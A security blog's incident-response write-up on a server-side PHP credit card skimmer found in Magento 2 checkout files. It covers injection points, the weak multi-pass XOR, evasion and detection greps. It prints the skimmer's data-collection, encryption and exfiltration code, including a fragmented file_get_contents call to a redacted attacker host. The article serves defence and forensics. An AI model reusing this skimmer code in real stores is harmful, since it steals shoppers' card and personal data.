Back to Articles

Server-Side Magecart: How Attackers Steal Credit Cards Directly from Magento's PHP Checkout

Share:
Server-Side Magecart Credit Card Skimmer

When most people hear "Magecart," they think JavaScript. A malicious <script> tag injected into a checkout page, keylogging credit card fields, and exfiltrating data to a third-party domain. Client-side skimmers are well-documented, and modern Content Security Policies (CSP) and Subresource Integrity (SRI) checks can catch them.

But what happens when the skimmer lives inside Magento's own PHP checkout code? No JavaScript. No DOM manipulation. No client-side artifacts whatsoever. The card data is intercepted at the server level, encrypted, and exfiltrated before the response ever reaches the browser. CSP can't see it. Browser-based scanners can't detect it. Even network monitoring tools will struggle, because the exfiltration looks like any other server-side HTTP request.

This is what I found during a recent incident response engagement for one of my latest clients — a European e-commerce store running Magento 2 that had been silently hemorrhaging credit card data for over seven months.

The Setup: A Store That Looked Clean

The client came to me after an external monitoring service flagged suspicious JavaScript on their storefront. Investigation confirmed a JS redirect injection in the database (core_config_data table) — a base64-encoded script tag that decoded to a third-party redirect URL. Classic malware, quickly found and cleaned.

But the JS injection was the tip of the iceberg. It was the noisy distraction. The real threat had been silently operating for months without triggering a single alert.

Finding the Skimmer: Why File Integrity Matters

After cleaning the DB injection, standard filesystem scans came back clean. No rogue PHP files in pub/, no suspicious modules in app/code/, no base64-encoded payloads in template files. The automated scanners declared victory.

Then I ran a file integrity check against Magento's vendor directory:

# Compare vendor file sizes against known-good Magento 2 installation
# Modified files will be larger than originals due to injected code
find vendor/magento/module-checkout/Model/ -name "*.php" \
    -exec stat --format='%s %n' {} \; | sort -rn

Two files stood out immediately. Both were significantly larger than their stock counterparts:

11560 vendor/magento/module-checkout/Model/PaymentInformationManagement.php
 9572 vendor/magento/module-checkout/Model/GuestPaymentInformationManagement.php

# Expected sizes (clean Magento 2.4.x):
# PaymentInformationManagement.php    ~10200 bytes
# GuestPaymentInformationManagement.php ~8300 bytes

A difference of ~1,300 bytes in each file. When I checked the modification timestamps:

$ stat vendor/magento/module-checkout/Model/PaymentInformationManagement.php
  File: PaymentInformationManagement.php
  Size: 11560       Blocks: 24         IO Block: 4096   regular file
Access: 2026-XX-XX XX:XX:XX
Modify: 2025-11-05 XX:XX:XX    <-- 7 months before detection
Change: 2025-11-05 XX:XX:XX

November 2025. The skimmer had been active for over seven months, silently intercepting every checkout transaction — both registered users and guests.

The Injection Point: vendor/magento/module-checkout/

The attacker chose the perfect hiding spot. These two files are the core payment processing handlers in Magento 2:

  • PaymentInformationManagement.php — handles checkout for logged-in customers
  • GuestPaymentInformationManagement.php — handles checkout for guest buyers

By injecting into both, the attacker ensures every single transaction is captured, regardless of whether the customer has an account.

The injection was placed inside the savePaymentInformationAndPlaceOrder() method — the exact function that Magento calls when a customer clicks "Place Order." The malicious code executes after the legitimate order is placed successfully, so the customer sees a normal confirmation page. No errors, no redirects, no indication anything is wrong.

// Legitimate Magento code (simplified):
public function savePaymentInformationAndPlaceOrder(
    $cartId,
    PaymentInterface $paymentMethod,
    AddressInterface $billingAddress
) {
    $this->savePaymentInformation($cartId, $paymentMethod, $billingAddress);
    try {
        $orderId = $this->cartManagement->placeOrder($cartId);
    } catch (\Exception $e) {
        throw new CouldNotSaveException(__($e->getMessage()), $e);
    }

    // ===== INJECTED SKIMMER CODE STARTS HERE =====
    // ... (see next section)
    // ===== INJECTED SKIMMER CODE ENDS HERE =====

    return $orderId;  // Customer sees normal success page
}

The placement is surgical. It runs after placeOrder() succeeds but before the order ID is returned to the frontend. If the skimmer fails for any reason, the return $orderId still executes — the customer's order goes through normally, and the attacker simply misses that one capture. No evidence of tampering in the customer's experience.

Dissecting the Skimmer: Data Collection

Here's the full injected code, sanitized but structurally identical to the original:

$content = array(
    'card_info'  => $paymentMethod->getAdditionalData(),
    'countryId'  => $billingAddress->getCountryId(),
    'region'     => $billingAddress->getRegion(),
    'regionCode' => $billingAddress->getRegionCode(),
    'city'       => $billingAddress->getCity(),
    'street'     => $billingAddress->getStreet(),
    'postcode'   => $billingAddress->getPostcode(),
    'firstname'  => $billingAddress->getFirstname(),
    'lastname'   => $billingAddress->getLastname(),
    'telephone'  => $billingAddress->getTelephone(),
    'company'    => $billingAddress->getCompany(),
    'referer'    => $_SERVER['HTTP_HOST']
);

The skimmer collects everything:

  • card_info — The payment method's additional data. For credit card payments, this includes the card number, expiry date, and CVV as submitted by the checkout form.
  • Full billing address — Country, region, city, street, postcode. Combined with the cardholder name, this is everything needed for Card Not Present (CNP) fraud.
  • Personal identifiers — First name, last name, phone number, company.
  • referer — The server's hostname, so the attacker knows which compromised store generated this data.

Notice the elegance: the skimmer doesn't need to parse HTML, intercept form submissions, or inject JavaScript. It simply calls the same Magento API methods that the legitimate checkout code uses. The data is already structured, validated, and ready to steal.

The XOR Encryption: Weaker Than It Looks

Before exfiltration, the collected data is JSON-encoded and then "encrypted" using what appears to be a multi-pass XOR cipher:

$content = json_encode($content);
$result = $content;

foreach (str_split("[REDACTED_32_CHAR_HEX_KEY]") as $keyChar) {
    $keyByte = ord($keyChar);
    $tempResult = '';
    for ($i = 0; $i < strlen($result); $i++) {
        $tempResult .= chr(ord($result[$i]) ^ $keyByte);
    }
    $result = $tempResult;
}

At first glance, this looks sophisticated: a 32-character hex key, with each character used as a separate XOR pass over the entire payload. That's 32 rounds of encryption. Surely that's strong?

It's not. Let me break down why.

How XOR Works

XOR (exclusive or) has a fundamental mathematical property: it's both associative and commutative. This means:

A ^ B ^ C == C ^ A ^ B == (A ^ B) ^ C == A ^ (C ^ B)

// The order doesn't matter. Grouping doesn't matter.

The Multi-Pass Collapse

Let's trace what happens to a single byte of plaintext (P) through all 32 passes. If the key characters are k0, k1, k2, ... k31:

After pass 0:   P ^ ord(k0)
After pass 1:   P ^ ord(k0) ^ ord(k1)
After pass 2:   P ^ ord(k0) ^ ord(k1) ^ ord(k2)
...
After pass 31:  P ^ ord(k0) ^ ord(k1) ^ ... ^ ord(k31)

Because XOR is associative, this entire chain collapses into a single operation:

// The "effective key" is just the XOR of all 32 key bytes:
effectiveKey = ord(k0) ^ ord(k1) ^ ord(k2) ^ ... ^ ord(k31)

// The entire 32-pass encryption is equivalent to:
ciphertext[i] = plaintext[i] ^ effectiveKey

All 32 passes of "encryption" reduce to a single-byte XOR cipher. This is one of the weakest possible encryption schemes — it can be broken in 256 attempts (one for each possible byte value), or instantly if you know any single plaintext byte.

Instant Decryption

Since we know the plaintext starts with JSON ({"card_info":), we can recover the effective key byte trivially:

# If the first ciphertext byte is 0xAB and we know
# the first plaintext byte is '{' (0x7B):
effectiveKey = 0xAB ^ 0x7B

# Then decrypt the entire payload:
for byte in ciphertext:
    plaintext += chr(byte ^ effectiveKey)

The attacker invested effort in a multi-pass structure that provides zero additional security over single-byte XOR. This is a common pattern in commodity malware: the code looks complex to discourage casual analysis, but the underlying cryptography is trivially breakable.

The Exfiltration: Disguised as a Payment API Call

After "encryption," the data is base64-encoded, URL-encoded, and sent to the attacker's C2 server:

$file_name = 'https'.':'.'/'.'/'
    .'[REDACTED]'.'.'.'[REDACTED]'
    .'.'.'com/?'.'ma'.'g'.'e'.'nt'.'o_p'.'a'.'y'
    .'_'.'i'.'n'.'fo'.'='.'p'.'a'.'y'.'p'.'a'.'l'
    .'&data='.urlencode(base64_encode($result));

file_get_contents($file_name);

Several evasion techniques are stacked here:

  1. String fragmentation — The C2 URL is built by concatenating single-character strings. A simple grep for the domain name won't match because the full string never appears in the source code.
  2. Fake parameter naming — The URL parameter is named magento_pay_info=paypal, making the outbound request look like a legitimate payment gateway callback if anyone glances at server logs.
  3. file_get_contents() — Instead of cURL, the skimmer uses PHP's simplest HTTP function. It's a one-liner, leaves minimal footprint, and the response is silently discarded.
  4. HTTPS exfiltration — The stolen data travels over TLS, so network-level inspection (IDS/IPS) can't read the payload contents without SSL interception.

In server access logs, the outbound request from the compromised store to the C2 domain is invisible — it's a server-to-server call, not a client-initiated request. It won't appear in the store's own access logs. You'd need to be monitoring outbound connections from the web server process to catch it.

The Full Attack Timeline

Forensic analysis using file timestamps, database records, and server artifacts revealed a multi-phase compromise spanning several months:

Timeline (reconstructed from filesystem forensics):

[Nov 2025]  Magecart skimmer injected into vendor checkout files
            Both PaymentInformationManagement.php and
            GuestPaymentInformationManagement.php modified
            Card data exfiltration begins silently

[Dec 2025]  PHP Object Injection exploits begin
            70 serialized payloads dropped via session deserialization
            Using Monolog + GuzzleHttp gadget chains
            Webshell drops attempted via FileCookieJar

[Mar 2026]  Webshell upload toolkit deployed
            74 files including GIF89a polyglot probes
            Extension brute-forcing: .php, .phtml, .phar, .inc, .php8
            Security product detects and cleans most to 0-byte

[Jun 2026]  JS redirect injection added to database
            External monitoring flags the JavaScript <-- first visible symptom
            Client initiates cleanup

The critical insight: the first visible symptom (the JS injection) appeared seven months after the Magecart skimmer was already installed. The JS injection was the noisy, expendable payload. The credit card skimmer was the quiet, high-value one.

This is a deliberate layering strategy. The attacker maintains multiple independent persistence mechanisms at different visibility levels. When the obvious malware gets cleaned, the valuable one remains untouched — because nobody diffs vendor files against stock Magento.

Why This Evades Everything

Let's walk through why each layer of defense fails against this technique:

  • Content Security Policy (CSP) — Irrelevant. No JavaScript is involved. The skimmer is pure PHP executing server-side.
  • Subresource Integrity (SRI) — Only validates client-side resources. Doesn't apply to backend PHP.
  • Browser-based malware scanners — They inspect the DOM and network requests from the client's perspective. The exfiltration is a server-to-server call that never touches the browser.
  • WAF rules — The skimmer isn't an inbound attack — it's already inside the application. WAFs inspect incoming requests, not the application's own outbound calls.
  • File-based malware scanners — The injected code uses no obvious signatures (eval, base64_decode, shell_exec). It uses legitimate Magento API calls (getAdditionalData(), getFirstname()) and standard PHP functions (json_encode, file_get_contents). Signature-based scanners see normal code.
  • Extension-based scanning — The modified files are legitimate .php files in Magento's vendor directory. They're not new files, they're not in upload directories, and they have the expected names.

The only reliable detection vector is file integrity monitoring — comparing the actual files against known-good checksums from the original Magento release.

Detection: How to Find Server-Side Skimmers

1. Vendor Directory Integrity Check

This is the single most effective detection method. Magento's vendor/ directory should never be modified post-installation (changes go in app/code/ via Magento's override system):

# Method 1: Compare checksums against a clean Magento installation
# Generate baseline from a known-clean install:
find vendor/magento/ -name "*.php" -exec sha256sum {} \; > baseline.txt

# Compare against the live server:
find vendor/magento/ -name "*.php" -exec sha256sum {} \; > current.txt
diff baseline.txt current.txt

# Method 2: Check file sizes (injected files are always larger)
find vendor/magento/module-checkout/ -name "*.php" \
    -exec stat --format='%s %Y %n' {} \; | sort -rn | head -20

# Method 3: Look for common skimmer patterns in vendor
grep -rlE "file_get_contents\s*\(\s*'https" \
    vendor/magento/module-checkout/ 2>/dev/null
grep -rl "getAdditionalData" \
    vendor/magento/module-checkout/Model/ 2>/dev/null \
    | xargs grep -l "file_get_contents"

2. Outbound Connection Monitoring

Monitor outbound HTTP requests from the web server process. Legitimate Magento makes outbound calls to payment gateways, but these are to known domains. An unknown domain receiving data during checkout is a red flag:

# Monitor outbound connections from PHP processes
ss -tnp | grep php | grep -v "127.0.0.1\|::1"

# For historical analysis, check for unexpected domains in DNS logs
# or use strace/ltrace on PHP to catch file_get_contents calls

3. Grep for String Fragmentation

The attacker used string concatenation to hide the C2 URL. Search for this evasion pattern:

# Find PHP files using excessive string concatenation with dots
grep -rnE "'\.'.*'\.'.*'\.'.*'\.'.*'\.'.*'\.'.*'\.'" \
    vendor/magento/ app/code/ 2>/dev/null

# Find file_get_contents calls that build URLs dynamically
grep -rnE "file_get_contents\s*\(" \
    vendor/magento/module-checkout/ \
    vendor/magento/module-payment/ \
    vendor/magento/module-sales/ 2>/dev/null

4. Checkout-Specific Payment Data Hooks

Search specifically for code accessing payment data in unexpected locations:

# Find any file in vendor/ calling payment-related methods
# AND containing HTTP request functions
for f in $(grep -rl "getAdditionalData\|getCcNumber\|getCcCid" \
    vendor/magento/ 2>/dev/null); do
    if grep -qE "file_get_contents|curl_exec|fopen.*https" "$f"; then
        echo "SUSPICIOUS: $f"
    fi
done

The Broader Pattern

This isn't a one-off. Server-side Magecart represents an evolution in e-commerce malware that's becoming more prevalent:

  • JavaScript Magecart (2015–present) — Injected <script> tags that keylog form fields. Visible in page source, catchable by CSP, detectable by browser scanners. Still common but increasingly detected.
  • Database-resident JavaScript (2018–present) — Same JS payload but stored in core_config_data instead of files. Harder to find with filesystem-only scans but still client-side and CSP-visible.
  • Server-side PHP skimmers (2023–present) — What this article documents. Pure backend code, no client-side artifacts, invisible to all browser-based detection. The next frontier.

The shift from client-side to server-side is driven by improving defenses. As CSP adoption grows and browser-based scanners become standard in PCI DSS compliance checks, attackers are moving the skimmer to the one place those tools can't see: the server itself.

Key Takeaways

  1. File integrity monitoring on vendor/ is non-negotiable. This directory should never change between deployments. Any modification is either a mistake or malware. Automate the check.
  2. Don't trust "clean" scans. Malware scanners look for signatures. A skimmer that uses json_encode and file_get_contents has no malicious signature — it uses the same functions as the rest of the application.
  3. The visible malware may be the distraction. In this case, the JS injection that triggered the investigation was the least dangerous component. The real threat had been operating silently for months. Always investigate deeper than the first finding.
  4. Multi-pass XOR is not encryption. If you encounter what looks like a sophisticated cipher in malware, do the math. Commodity malware frequently uses cryptographic theater — complexity that provides zero actual security.
  5. Monitor outbound connections. Server-side skimmers must phone home. If your Magento server is making HTTPS requests to domains that aren't your payment gateway, CDN, or known third-party service, investigate immediately.

The most dangerous malware is the kind that uses your own application's code patterns against you. It doesn't need eval or base64_decode when $paymentMethod->getAdditionalData() is right there in the same file, doing exactly what the attacker needs. The only defense is knowing what your code should look like — and checking.